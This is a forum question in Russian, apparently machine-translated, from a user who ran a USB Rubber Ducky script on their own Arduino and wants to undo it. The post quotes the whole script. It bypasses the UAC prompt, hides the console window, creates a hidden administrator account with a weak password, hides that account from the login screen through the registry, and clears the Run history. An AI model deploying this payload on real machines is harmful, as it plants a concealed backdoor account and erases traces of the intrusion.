Я очень плохо облажался! Мне нужно отменить некоторые утиные сценарии - PullRequest
Новая
       20

Я очень плохо облажался! Мне нужно отменить некоторые утиные сценарии

0 голосов
/ 08 мая 2019

Так что я подумал, что было бы забавно превратить мой Arduino Pro Micro в плохого USB-резина. Неправильно, это не так весело. Глупый я запустил этот код, который создал администратора и спрятал его от других учетных записей. Я в пути над головой, а также я полный идиот. Сценарий можно найти здесь: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Windows-10:-Add-admin-account

REM Start delay
DELAY 1000
DELAY 300
GUI r
DELAY 300

STRING powershell Start-Process cmd -Verb runAs
DELAY 300
ENTER

DELAY 2000
REM bypassing security dialog
ALT y
DELAY 500
REM obfuscationg terminal
STRING mode con:cols=18 lines=1
DELAY 300
ENTER
REM changing color
STRING color 78
DELAY 300
ENTER
REM adding user usename = ADMIN password is admin 
STRING net user /add ADMIN admin
DELAY 300
ENTER
REM Adding user in administrators group
STRING net localgroup administrators ADMIN /add
DELAY 300
ENTER
REM Hiding the user via editing registory
STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
DELAY 300
ENTER

STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ADMIN /t REG_DWORD /d 0
DELAY 300
ENTER

REM removing the footprints.
STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
DELAY 300
ENTER
REM Safe exiting
STRING exit
DELAY 300
ENTER

Если кто-нибудь знает, как это изменить, это было бы очень приятно. Извините за потраченное время

...